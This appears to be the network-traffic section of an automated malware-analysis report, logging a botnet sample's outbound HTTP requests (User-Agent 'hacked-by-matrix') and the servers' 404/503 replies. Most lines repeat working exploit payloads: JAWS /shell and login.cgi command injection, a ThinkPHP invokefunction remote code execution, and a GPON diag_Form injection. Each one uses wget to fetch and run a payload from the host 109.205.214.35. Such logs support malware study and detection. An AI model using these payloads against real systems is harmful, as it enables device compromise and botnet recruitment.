Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 35Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 07:09:53 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Thu, 21 Mar 2024 04:24:58 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:26:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:26:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
